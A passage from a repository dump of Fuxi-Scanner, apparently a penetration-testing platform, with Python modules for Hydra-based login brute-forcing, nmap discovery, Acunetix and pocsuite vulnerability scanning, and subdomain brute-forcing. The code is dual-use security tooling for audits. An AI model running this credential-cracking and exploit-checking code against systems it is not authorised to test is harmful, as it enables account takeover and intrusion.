    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-22\n# @File    : __init__.py.py\n# @Desc    : \"\"\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/awvs_api.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-22\n# @File    : awvs_api.py\n# @Desc    : \"\"\n\nimport time\nimport os\nimport json\nimport requests\nfrom flask import Flask\nfrom instance import config\n\n\nProductionConfig = config.ProductionConfig\napp = Flask(__name__)\napp.config.from_object(ProductionConfig)\n\nrequests.packages.urllib3.disable_warnings()\n\n\nclass AcunetixScanner:\n\n    def __init__(self):\n        self.api_key = app.config.get('AWVS_API_KEY')\n        self.scanner_url = app.config.get('AWVS_URL')\n        self.awvs_report_path = app.config.get('AWVS_REPORT_PATH')\n        self.scan_result = {}\n        self.all_tasks = []\n        self.report_url = []\n        self.headers = {\n            \"X-Auth\": self.api_key,\n            \"content-type\": \"application/json\"\n        }\n\n    def new_scan(self, target, desc):\n        data = {\n            \"address\": target,\n            \"description\": desc,\n            \"criticality\": \"10\"\n        }\n        try:\n            response = requests.post(self.scanner_url + \"/api/v1/targets\", data=json.dumps(data),\n                                     headers=self.headers, timeout=30, verify=False)\n            return json.loads(response.content)['target_id']\n        except Exception as e:\n            print(target, e)\n            return False\n\n    def start_task(self, target, desc, profile_id):\n        profile_id_list = {'0': '11111111-1111-1111-1111-111111111111', '1': '11111111-1111-1111-1111-111111111112',\n                           '2': '11111111-1111-1111-1111-111111111116', '3': '11111111-1111-1111-1111-111111111113',\n                           '4': '11111111-1111-1111-1111-111111111115', '5': '11111111-1111-1111-1111-111111111117'}\n        profile_id = profile_id_list[profile_id]\n        target_id = self.new_scan(target, desc)\n        data = {\n            \"target_id\": target_id,\n            \"profile_id\": profile_id,\n            \"schedule\": {\n                \"disable\": False,\n                \"start_date\": None,\n                \"time_sensitive\": False\n            }\n        }\n        try:\n            response = requests.post(self.scanner_url + \"/api/v1/scans\", data=json.dumps(data),\n                                     headers=self.headers, timeout=30, verify=False)\n            return json.loads(response.content)\n        except Exception as e:\n            print(target, target_id, e)\n            return False\n\n    def get_all(self):\n        try:\n            response = requests.get(self.scanner_url + \"/api/v1/scans\", headers=self.headers, timeout=30, verify=False)\n            results = json.loads(response.content)\n            task_info = {}\n            for task in results['scans']:\n                task_info['scan_id'] = task['scan_id']\n                task_info['target_id'] = task['target_id']\n                task_info['address'] = task['target']['address']\n                task_info['desc'] = task['target']['description']\n                task_info['profile_name'] = task['profile_name']\n                task_info['status'] = task['current_session']['status']\n                task_info['vul_high'] = task['current_session']['severity_counts']['high']\n                task_info['vul_medium'] = task['current_session']['severity_counts']['medium']\n                task_info['vul_low'] = task['current_session']['severity_counts']['low']\n                task_info['vul_info'] = task['current_session']['severity_counts']['info']\n                task_info['start_date'] = task['current_session']['start_date'][0:19].replace('T', ' ')\n                self.all_tasks.append(task_info)\n                task_info = {}\n            return self.all_tasks\n        except Exception as e:\n            raise e\n\n    def delete_scan(self, scan_id):\n        try:\n            response = requests.delete(self.scanner_url + \"/api/v1/scans/\" + str(scan_id),\n                                       headers=self.headers, timeout=30, verify=False)\n            if response.status_code == 204:\n                return True\n            else:\n                return False\n        except Exception as e:\n                print(scan_id, e)\n                return False\n\n    def delete_target(self, target_id):\n        try:\n            response = requests.delete(self.scanner_url + \"/api/v1/targets/\" + str(target_id),\n                                       headers=self.headers, timeout=30, verify=False)\n            if response.status_code == 204:\n                return True\n            else:\n                return False\n        except Exception as e:\n                print(target_id, e)\n                return False\n\n    def reports(self, id_list, list_type, task_name):\n        # list_type = \"scans\", 'targets' ...\n        data = {\n            \"template_id\": \"11111111-1111-1111-1111-111111111111\",\n            \"source\": {\n                \"list_type\": list_type,\n                \"id_list\": id_list\n            }\n        }\n        try:\n            response = requests.post(self.scanner_url + \"/api/v1/reports\", headers=self.headers,\n                                     data=json.dumps(data), timeout=30, verify=False)\n            if response.status_code == 201:\n                while True:\n                    res_down = requests.get(self.scanner_url + response.headers['Location'],\n                                            headers=self.headers, timeout=30, verify=False)\n                    if json.loads(res_down.content)['status'] == \"completed\":\n                        for report_url in json.loads(res_down.content)['download']:\n                            report_res = requests.get(self.scanner_url + report_url, timeout=30, verify=False)\n                            report_name = time.strftime(\"%y%m%d\", time.localtime()) + \"_\" + task_name[0] + '.' + report_url.split('.')[-1]\n                            if os.path.exists(self.awvs_report_path + report_name):\n                                os.remove(self.awvs_report_path + report_name)\n                            with open(self.awvs_report_path + report_name, \"wb\") as report_content:\n                                report_content.write(report_res.content)\n                            self.report_url.append(report_name)\n                        return self.report_url\n            else:\n                return False\n        except Exception as e:\n                print(id_list, e)\n                return False\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/auth_tester/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-23\n# @File    : __init__.py.py\n# @Desc    : \"\"\n\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/auth_tester/auth_scanner.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-6-19\n# @File    : auth_scanner.py\n# @Desc    : \"\"\n\nimport time\nfrom threading import Thread\nfrom datetime import datetime\nfrom multiprocessing import Pool\nfrom fuxi.views.lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.modules.auth_tester.hydra_plugin import HydraScanner\nfrom fuxi.views.lib.parse_target import parse_target\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nfrom instance import config_name\n\nconfig_db = db_name_conf()['config_db']\nweekpasswd_db = db_name_conf()['weekpasswd_db']\nauth_db = db_name_conf()['auth_db']\n\n\ndef hydra_scanner(args):\n    start = HydraScanner(args)\n    result = start.scanner()\n    return result\n\n\ndef host_check(args):\n    start = HydraScanner(args)\n    result = start.host_check()\n    return result\n\n\nclass AuthCrack:\n\n    def __init__(self, task_id):\n        self.task_id = task_id\n        self.db_cursor = connectiondb(auth_db).find_one({\"_id\": self.task_id})\n        self.processes = connectiondb(config_db).find_one({\"config_name\": config_name})['auth_tester_thread']\n        self.task_name = self.db_cursor['task_name']\n        self.username_list = self.db_cursor['username']\n        self.password_list = self.db_cursor['password']\n        self.target_list = parse_target(self.db_cursor['target'])\n        self.online_target = []\n        self.service_list = self.db_cursor['service']\n        self.args = self.db_cursor['args']\n        self.result_pool = []\n        self.result = []\n        self.week_count = 0\n\n    def start_scan(self):\n        tmp_result = []\n        args = self.args\n        connectiondb(auth_db).update_one({\"_id\": self.task_id}, {\"$set\": {\"status\": \"Processing\"}})\n        for service in self.service_list:\n            # Filter online host\n            pool_a = Pool(processes=self.processes)\n            args_check = self._args_parse(service, 'check')\n            for args in args_check:\n                tmp_result.append(pool_a.apply_async(host_check, (args,)))\n            pool_a.close()\n            pool_a.join()\n            for res_a in tmp_result:\n                if res_a.get():\n                    self.online_target.append(res_a.get())\n            # start crack\n            pool_b = Pool(processes=self.processes)\n            args_crack = self._args_parse(service, 'crack')\n            for args in args_crack:\n                self.result.append(pool_b.apply_async(hydra_scanner, (args,)))\n            pool_b.close()\n            pool_b.join()\n            self.online_target = []\n        for res_b in self.result:\n            if res_b.get():\n                target = res_b.get()['target']\n                service = res_b.get()['service']\n                username = res_b.get()['username']\n                password = res_b.get()['password']\n                self.save_result(target, service, username, password)\n        connectiondb(auth_db).update_one({\"_id\": self.task_id}, {\"$set\": {\n            \"status\": \"Completed\",\n            \"week_count\": self.week_count,\n        }})\n\n    def save_result(self, target, service, username, password):\n        data = {\n            \"target\": target,\n            \"service\": service,\n            \"username\": username,\n            \"password\": password,\n            \"date\": datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n            \"task_id\": self.task_id,\n            \"task_name\": self.task_name,\n            \"tag\": \"\"\n        }\n        self.week_count += 1\n        connectiondb(weekpasswd_db).insert_one(data)\n\n    def _args_parse(self, service, opt):\n        args_list = []\n        if opt == 'check':\n            for target in self.target_list:\n                if \":\" in target:\n                    target_l = target.split(\":\")\n                    if target_l[-1].isdigit():\n                        port = target_l[-1]\n                        del target_l[-1]\n                        target = ''.join(target_l)\n                        self.args = self.args + '-s %s' % port\n                if service in ['redis', 'cisco', 'oracle-listener', 's7-300', 'snmp', 'vnc']:\n                    if len(self.args) > 0:\n                        command = ['hydra', '-t', '1', '-p', ''] + [self.args] + [target] + [service]\n                    else:\n                        command = ['hydra', '-t', '1', '-p', ''] + [target] + [service]\n                else:\n                    if len(self.args) > 0:\n                        command = ['hydra', '-t', '1', '-l', '', '-p', ''] + [self.args] + [target] + [service]\n                    else:\n                        command = ['hydra', '-t', '1', '-l', '', '-p', ''] + [target] + [service]\n                args_list.append(command)\n        elif opt == 'crack':\n            for target in self.online_target:\n                if \":\" in target:\n                    target_l = target.split(\":\")\n                    if target_l[-1].isdigit():\n                        port = target_l[-1]\n                        del target_l[-1]\n                        target = ''.join(target_l)\n                        self.args = self.args + '-s %s' % port\n                if service in ['redis', 'cisco', 'oracle-listener', 's7-300', 'snmp', 'vnc']:\n                    for password in self.password_list:\n                        if len(self.args) > 0:\n                            command = ['hydra', '-t', '1', '-p', password] + [self.args] + [target] + [service]\n                        else:\n                            command = ['hydra', '-t', '1', '-p', password] + [target] + [service]\n                        args_list.append(command)\n                else:\n                    for username in self.username_list:\n                        for password in self.password_list:\n                            if len(self.args) > 0:\n                                command = ['hydra', '-t', '1', '-l', username, '-p', password] + [self.args] + [target] + [service]\n                            else:\n                                command = ['hydra', '-t', '1', '-l', username, '-p', password] + [target] + [service]\n                            args_list.append(command)\n        return args_list\n\n\nclass AuthTesterLoop:\n\n    def __init__(self):\n        self.recursion = ''\n        self.status = ''\n        self.scan_date = ''\n        self.task_id = ''\n\n    def task_schedule(self):\n        scheduler = BlockingScheduler()\n        try:\n            scheduler.add_job(self._get_task, 'interval', seconds=30)\n            scheduler.start()\n        except Exception as e:\n            print(e)\n\n    def _get_task(self):\n        for task_info in connectiondb(auth_db).find():\n            self.recursion = task_info['recursion']\n            self.status = task_info['status']\n            self.scan_date = task_info['date']\n            self.task_id = task_info['_id']\n            start_date = datetime.strptime(self.scan_date, \"%Y-%m-%d %H:%M:%S\")\n            plan_time = (datetime.now() - start_date).total_seconds()\n            if self.recursion == 0:\n                pass\n            # every day\n            elif self.recursion == 1 and \"Completed\" in self.status:\n                if plan_time > 60 * 60 * 24 * 1:\n                    if self.start_loop_scan():\n                        print(\"[*] Every Day Task Start...\", time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n            # every week\n            elif self.recursion == 7 and \"Completed\" in self.status:\n                if plan_time > 60 * 60 * 24 * 7:\n                    if self.start_loop_scan():\n                        print(\"[*] Every Week Task Start...\", time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n            # every month\n            elif self.recursion == 30 and \"Completed\" in self.status:\n                if plan_time > 60 * 60 * 24 * 30:\n                    if self.start_loop_scan():\n                        print(\"[*] Every Month Task Start...\", time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n\n    def start_loop_scan(self):\n        connectiondb(weekpasswd_db).update({\"task_id\": self.task_id}, {\"$set\": {\"tag\": \"delete\"}}, multi=True)\n        connectiondb(auth_db).update_one({\"_id\": self.task_id}, {\"$set\": {\n            \"status\": \"Queued\",\n            \"date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n            \"week_count\": 0,\n        }})\n        scanner = AuthCrack(self.task_id)\n        if scanner:\n            t1 = Thread(target=scanner.start_scan, args=())\n            t1.start()\n            return True\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/auth_tester/hydra_plugin.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-6-19\n# @File    : hydra_plugin.py\n# @Desc    : \"\"\n\nimport subprocess\nimport threading\n\n\nclass HydraScanner:\n\n    def __init__(self, args):\n        if '-s' in args:\n            self.target = args[-2] + ':' + args[args.index('-s') + 1]\n        else:\n            self.target = args[-2]\n        self.service = args[-1]\n        if '-l' in args:\n            self.username = args[args.index('-l') + 1]\n        else:\n            self.username = 'None'\n        if '-p' in args:\n            self.password = args[args.index('-p') + 1]\n        else:\n            self.password = 'None'\n        self.args = args\n\n    def scanner(self):\n        msg = '[*] ' + self.target + '  ' + self.service + '  ' + self.username + '  ' + self.password\n        print(msg)\n        try:\n            hydra_out = subprocess.Popen(self.args, stdout=subprocess.PIPE)\n            output = hydra_out.stdout.read()\n            time_out = threading.Timer(1200, hydra_out.kill)\n            time_out.start()\n            hydra_out.wait()\n            time_out.cancel()\n            if 'successfully' in output and \"[\" + self.service + \"]\" in output:\n                result = {\n                    \"target\": self.target,\n                    \"service\": self.service,\n                    \"username\": self.username,\n                    \"password\": self.password,\n                }\n                return result\n        except Exception as e:\n            raise e\n\n    def host_check(self):\n        try:\n            hydra_out = subprocess.Popen(self.args, stdout=subprocess.PIPE)\n            output = hydra_out.stdout.read()\n            time_out = threading.Timer(1200, hydra_out.kill)\n            time_out.start()\n            hydra_out.wait()\n            time_out.cancel()\n            if 'waiting for children to finish' not in output and 'completed' in output and 'password' in output:\n                return self.target\n        except Exception as e:\n            raise e\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/discovery/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-15\n# @File    : __init__.py.py\n# @Desc    : \"\"\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/discovery/asset_discovery.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-30\n# @File    : asset_discovery.py\n# @Desc    : \"\"\n\nimport nmap\nimport time\nfrom multiprocessing import Pool\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nfrom fuxi.views.lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.lib.parse_target import parse_target\nfrom instance import config_name\n\nconfig_db = db_name_conf()['config_db']\nasset_db = db_name_conf()['asset_db']\nsearch_db = db_name_conf()['search_db']\nserver_db = db_name_conf()['server_db']\n\n\nclass AssetDiscovery:\n    def __init__(self, asset_id):\n        self.asset_id = asset_id\n        self.result_tmp = []\n        self.result = []\n        self.port_list = connectiondb(config_db).find_one({\"config_name\": config_name})['port_list']\n        self.processes = connectiondb(config_db).find_one({\"config_name\": config_name})['discovery_thread']\n        self.asset_name = connectiondb(asset_db).find_one({\"_id\": self.asset_id})['asset_name']\n        self.host_list = parse_target(connectiondb(asset_db).find_one({\"_id\": self.asset_id})['asset_host'])\n\n    def set_discovery(self):\n        print(self.asset_id, \"Discovery start...\")\n        pool_port = Pool(processes=self.processes)\n        for host in self.host_list:\n            self.result_tmp.append(pool_port.apply_async(port_scanner, (host, self.port_list)))\n        pool_port.close()\n        pool_port.join()\n        for res_tmp in self.result_tmp:\n            try:\n                if res_tmp.get():\n                    for i in res_tmp.get():\n                        self.result.append(i)\n            except Exception as e:\n                print(e)\n                pass\n        self.save_result()\n\n    def save_result(self):\n        if connectiondb(server_db).find_one({\"asset_id\": self.asset_id}):\n            connectiondb(server_db).update({\"asset_id\": self.asset_id}, {\"$set\": {\"tag\": \"delete\"}}, multi=True)\n        for res in self.result:\n            res['asset_name'] = self.asset_name\n            res['asset_id'] = self.asset_id\n            res['tag'] = \"\"\n            res['date'] = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n            connectiondb(server_db).insert(res, check_keys=False)\n        print(self.asset_id, \"Discovery done...\")\n\n\ndef port_scanner(host, port_list):\n    result = []\n    scanner = nmap.PortScanner()\n    arguments = \"-sT -sV -sC -A -Pn -p \" + ','.join('%s' % port for port in port_list)\n    try:\n        # port processing\n        scanner.scan(host, arguments=arguments)\n        # port 'state' == 'open'\n        # print(\"Scanning: %s\" % host)\n        for port in scanner[host].all_tcp():\n            if scanner[host]['tcp'][port]['state'] == 'open':\n                if \"script\" in scanner[host]['tcp'][port].keys():\n                    script = scanner[host]['tcp'][port]['script']\n                else:\n                    script = ''\n                if len(scanner[host]['tcp'][port]['version']) > 0:\n                    version = scanner[host]['tcp'][port]['version']\n                else:\n                    version = 'Unknown'\n                if len(scanner[host]['tcp'][port]['product']) > 0:\n                    product = scanner[host]['tcp'][port]['product']\n                else:\n                    product = scanner[host]['tcp'][port]['name']\n                data = {\n                    \"product\": product,\n                    \"version\": version,\n                    \"name\": scanner[host]['tcp'][port]['name'],\n                    \"script\": script,\n                    \"extrainfo\": scanner[host]['tcp'][port]['extrainfo'],\n                    \"cpe\": scanner[host]['tcp'][port]['cpe'],\n                    \"host\": host,\n                    \"port\": port,\n                }\n                result.append(data)\n        return result\n    except Exception as msg:\n        print(msg)\n        pass\n    return result\n\n\nclass DiscoveryLoop:\n\n    def __init__(self):\n        self.sche_time = connectiondb(config_db).find_one({\"config_name\": config_name})['discovery_time'].split(\":\")\n        self.asset_id = ''\n        self.discover_option = ''\n\n    def task_schedule(self):\n        scheduler = BlockingScheduler()\n        try:\n            scheduler.add_job(self._get_task, 'cron', day='1-31', hour=self.sche_time[0],\n                              minute=self.sche_time[1], second=self.sche_time[2])\n            scheduler.start()\n        except Exception as e:\n            print(e)\n\n    def _get_task(self):\n        print(\"Discovery scheduler success\")\n        for asset_info in connectiondb(asset_db).find():\n            self.discover_option = asset_info['discover_option']\n            if self.discover_option == \"Enable\":\n                self.asset_id = asset_info['_id']\n                try:\n                    AssetDiscovery(self.asset_id).set_discovery()\n                except Exception as e:\n                    print(e)\n                    return e\n        print(\"Discovery scheduler done\")\n\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/port_scanner/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-17\n# @File    : __init__.py.py\n# @Desc    : \"\"\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/port_scanner/nmap_scanner.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-17\n# @File    : nmap_scanner.py\n# @Desc    : \"\"\n\nimport nmap\nfrom fuxi.views.lib.mongo_db import connectiondb, db_name_conf\n\nport_db = db_name_conf()['port_db']\n\n\nclass NmapScanner:\n    def __init__(self, target, arguments, scan_id):\n        self.target = target\n        self.arguments = arguments\n        self.scan_id = scan_id\n        self.ports = []\n        self.result = []\n\n    def scan(self):\n        port_scanner = nmap.PortScanner()\n        try:\n            port_scanner.scan(self.target, arguments=self.arguments)\n        except Exception as e:\n            print self.target, e\n        return port_scanner\n\n    def port_result(self):\n        self.result.append(self.scan().command_line())\n        for i in self.scan().csv().split('\\r\\n'):\n            self.result.append(i)\n        self.result.pop(1)\n        connectiondb(port_db).update_one({\"_id\": self.scan_id}, {'$set': {\n            'status': 'Done',\n            'detail': self.result\n        }})\n        return self.result\n\n\ndef nmap_scanner(target_val, option_val, scan_id):\n    new_scan = NmapScanner(target_val, option_val, scan_id)\n    new_scan.port_result()\n\n\nif __name__ == '__main__':\n    nmap_scanner('127.0.0.1', '-p', '80')\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/scanner/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-14\n# @File    : __init__.py.py\n# @Desc    : \"\"\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/scanner/parse_plugin.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-14\n# @File    : parse_plugin.py\n# @Desc    : \"\"\n\n\nimport os\nimport re\nfrom fuxi.views.lib.mongo_db import connectiondb, db_name_conf\nfrom flask import Flask\n\napp = Flask(__name__)\nplugin_db = db_name_conf()['plugin_db']\n\n\ndef parse_plugin(plugin_filename):\n    name_pattern = re.compile(r'name\\s*=\\s*[\\'\\\"\\[](.*)[\\'\\\"\\]]')\n    author_pattern = re.compile(r'author\\s*=\\s*[\\'\\\"\\[](.*)[\\'\\\"\\]]')\n    date_pattern = re.compile(r'vulDate\\s*=\\s*[\\'\\\"\\[](.*)[\\'\\\"\\]]')\n    app_pattern = re.compile(r'appName\\s*=\\s*[\\'\\\"\\[](.*)[\\'\\\"\\]]')\n    type_pattern = re.compile(r'vulType\\s*=\\s*[\\'\\\"\\[](.*)[\\'\\\"\\]]')\n    version_pattern = re.compile(r'appVersion\\s*=\\s*[\\'\\\"\\[](.*)[\\'\\\"\\]]')\n    plugin_data = open(plugin_filename, 'r').read()\n    try:\n        plugin_name = name_pattern.findall(plugin_data)\n        plugin_author = author_pattern.findall(plugin_data)\n        plugin_date = date_pattern.findall(plugin_data)\n        plugin_app = app_pattern.findall(plugin_data)\n        plugin_type = type_pattern.findall(plugin_data)\n        plugin_version = version_pattern.findall(plugin_data)\n        plugin_info = {\n            \"plugin_filename\": plugin_filename,\n            \"plugin_name\": plugin_name[0],\n            \"plugin_author\": plugin_author[0],\n            \"plugin_date\": plugin_date[0],\n            \"plugin_app\": plugin_app[0],\n            \"plugin_type\": plugin_type[0],\n            \"plugin_version\": plugin_version[0],\n        }\n        return plugin_info\n    except Exception as e:\n        print(e)\n        pass\n\n\ndef local_install():\n    print(\"[*]Processing...\")\n    connectiondb(plugin_db).drop()\n    path = os.getcwd() + '/pocsuite_plugin/'\n    files = os.listdir(path)\n    for file_name in files:\n        plugin_info = parse_plugin(path + file_name.strip())\n        if plugin_info is None:\n            pass\n        else:\n            db_insert = connectiondb(plugin_db).insert_one(plugin_info).inserted_id\n    print(\"[*]Processing Completed!\")\n\n\nif __name__ == \"__main__\":\n    local_install()\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/scanner/poc_scanner.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-14\n# @File    : poc_scanner.py\n# @Desc    : =_=!!\n\nimport sched\nimport time\nimport datetime\nfrom multiprocessing import Pool, Lock\nfrom threading import RLock\nfrom pocsuite.api.cannon import Cannon\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nfrom bson.objectid import ObjectId\nfrom fuxi.views.lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.lib.parse_target import parse_target\nfrom instance import config_name\n\nconfig_db = db_name_conf()['config_db']\ntasks_db = db_name_conf()['tasks_db']\nvul_db = db_name_conf()['vul_db']\nplugin_db = db_name_conf()['plugin_db']\n\nschedule = sched.scheduler(time.time, time.sleep)\nlock = Lock()\nthread_lock = RLock()\n\n\ndef verify_poc(scan_data):\n    plugin_name = scan_data['plugin_name']\n    plugin_filename = scan_data['plugin_filename']\n    target = scan_data['target']\n    info = {\"pocname\": plugin_name,\n            \"pocstring\": open(plugin_filename, 'r').read(),\n            \"mode\": 'verify'\n            }\n    try:\n        invoker = Cannon(target, info)\n        result = invoker.run()\n        if result[-3][0] == 1:\n            scan_result = {\n                \"plugin_filename\": scan_data['plugin_filename'],\n                \"plugin_name\": scan_data['plugin_name'],\n                \"plugin_id\": scan_data['plugin_id'],\n                \"plugin_type\": scan_data['plugin_type'],\n                \"plugin_app\": scan_data['plugin_app'],\n                \"plugin_version\": scan_data['plugin_version'],\n                \"target\": scan_data['target'],\n                \"task_id\": scan_data['task_id'],\n                \"task_name\": scan_data['task_name'],\n                \"scan_result\": result[-1],\n                \"date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n                \"tag\": \"\"\n            }\n            connectiondb(vul_db).insert(scan_result)\n    except Exception as e:\n        raise e\n\n\nclass PocsuiteScanner:\n\n    def __init__(self, task_id):\n        self.task_id = task_id\n        self.tasks_db_cursor = connectiondb(tasks_db).find_one({\"_id\": self.task_id})\n        self.target_list = parse_target(self.tasks_db_cursor['scan_target'])\n        self.plugin_id_list = self.tasks_db_cursor['plugin_id']\n        self.result_tmp = []\n        self.result = []\n        self.processes = connectiondb(config_db).find_one({\"config_name\": config_name})['poc_thread']\n\n    def set_scanner(self):\n        connectiondb(tasks_db).update_one({'_id': ObjectId(self.task_id)}, {'$set': {'task_status': 'Processing'}})\n        if connectiondb(vul_db).find_one({\"task_id\": self.task_id}):\n            connectiondb(vul_db).update({'task_id': self.task_id}, {\"$set\": {\"tag\": \"delete\"}}, multi=True)\n        pool_scanner = Pool(processes=self.processes)\n        for target in self.target_list:\n            for plugin_id in self.plugin_id_list:\n                plugin_cursor = connectiondb(plugin_db).find_one({\"_id\": ObjectId(plugin_id)})\n                scan_data = {\n                    \"plugin_filename\": plugin_cursor['plugin_filename'].encode(\"UTF-8\"),\n                    \"plugin_name\": plugin_cursor['plugin_name'].encode(\"UTF-8\"),\n                    \"plugin_id\": plugin_cursor['_id'],\n                    \"plugin_type\": plugin_cursor['plugin_type'],\n                    \"plugin_app\": plugin_cursor['plugin_app'],\n                    \"plugin_version\": plugin_cursor['plugin_version'],\n                    \"target\": target,\n                    \"task_id\": self.task_id,\n                    \"task_name\": self.tasks_db_cursor['task_name'],\n                }\n                pool_scanner.apply_async(verify_poc, (scan_data,))\n        pool_scanner.close()\n        pool_scanner.join()\n        connectiondb(tasks_db).update_one({'_id': ObjectId(self.task_id)}, {\n            '$set': {\n                'task_status': 'Completed',\n                'end_date': time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n            }\n        })\n\n\nclass PoCScannerLoop:\n    def __init__(self):\n        self.recursion = ''\n        self.status = ''\n        self.task_id = ''\n        self.end_date = ''\n\n    def task_schedule(self):\n        scheduler = BlockingScheduler()\n        try:\n            scheduler.add_job(self._get_task, 'interval', seconds=30)\n            scheduler.start()\n        except Exception as e:\n            print(e)\n\n    def _get_task(self):\n        # while thread_lock:\n        for task_info in connectiondb(tasks_db).find():\n            self.recursion = int(task_info['task_recursion'])\n            self.task_id = task_info['_id']\n            self.status = task_info['task_status']\n            self.end_date = task_info['end_date']\n            if self.recursion == 0:\n                pass\n            # every day task\n            if self.recursion == 1:\n                if \"Processing\" in self.status:\n                    pass\n                else:\n                    start_date = datetime.datetime.strptime(self.end_date, \"%Y-%m-%d %H:%M:%S\")\n                    plan_time = (datetime.datetime.now() - start_date).total_seconds()\n                    if plan_time > 60 * 60 * 24:\n                        print(\"Every day recursion start......\")\n                        scanner = PocsuiteScanner(self.task_id)\n                        scanner.set_scanner()\n\n            # every week task\n            elif self.recursion == 7:\n                if \"Processing\" in self.status:\n                    pass\n                else:\n                    start_date = datetime.datetime.strptime(self.end_date, \"%Y-%m-%d %H:%M:%S\")\n                    plan_time = (datetime.datetime.now() - start_date).total_seconds()\n                    if plan_time > 60 * 60 * 24 * 7:\n                        print(\"Every week start...\")\n                        scanner = PocsuiteScanner(self.task_id)\n                        scanner.set_scanner()\n            # every month task\n            elif self.recursion == 30:\n                if \"Processing\" in self.status:\n                    pass\n                else:\n                    start_date = datetime.datetime.strptime(self.end_date, \"%Y-%m-%d %H:%M:%S\")\n                    plan_time = (datetime.datetime.now() - start_date).total_seconds()\n                    if plan_time > 60 * 60 * 24 * 30:\n                        print(\"Every month start...\")\n                        scanner = PocsuiteScanner(self.task_id)\n                        scanner.set_scanner()\n\n\nif __name__ == '__main__':\n    loop_scanner = PoCScannerLoop()\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/subdomain/__init__.py",
    "content": ""
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/modules/subdomain/domain_brute.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-19\n# @File    : domain_brute.py\n# @Desc    : \"\"\n\n\nimport dns.resolver\nfrom multiprocessing import Pool, Lock\nfrom datetime import datetime\nfrom random import sample\nfrom string import digits, ascii_lowercase\nfrom fuxi.views.lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.lib.get_title import get_title\nfrom instance import config_name\n\nlock = Lock()\ndomain_db = db_name_conf()['domain_db']\nconfig_db = db_name_conf()['config_db']\nsubdomain_db = db_name_conf()['subdomain_db']\n\n\ndef resolution(domain):\n    _result = {}\n    record_a = []\n    record_cname = []\n    try:\n        respond = dns.resolver.query(domain.strip())\n        for record in respond.response.answer:\n            for i in record.items:\n                if i.rdtype == dns.rdatatype.from_text('A'):\n                    record_a.append(str(i))\n                    _result[domain] = record_a\n                elif i.rdtype == dns.rdatatype.from_text('CNAME'):\n                    record_cname.append(str(i))\n                    _result[domain] = record_cname\n    except Exception as e:\n        # print(e)\n        pass\n    return _result\n\n\nclass DomainBrute:\n\n    def __init__(self, domain, domain_id):\n        self.domain = domain\n        self.domain_id = domain_id\n        self.sub_domain = []\n        self.third_domain = connectiondb(domain_db).find_one({\"_id\": domain_id})['third_domain']\n        self.resolver_ip = ''\n        self.result = ''\n        self.thread = int(connectiondb(config_db).find_one({\"config_name\": config_name})['subdomain_thread'])\n        self.subdomain_dict_2 = connectiondb(config_db).find_one({\"config_name\": config_name})['subdomain_dict_2']\n        self.subdomain_dict_3 = connectiondb(config_db).find_one({\"config_name\": config_name})['subdomain_dict_3']\n        self.random_subdomain = ''.join(sample(digits + ascii_lowercase, 10)) + '.' + domain\n\n    def domain_handle(self):\n        for sub_domain_2 in self.subdomain_dict_2:\n            self.sub_domain.append(sub_domain_2.strip() + '.' + 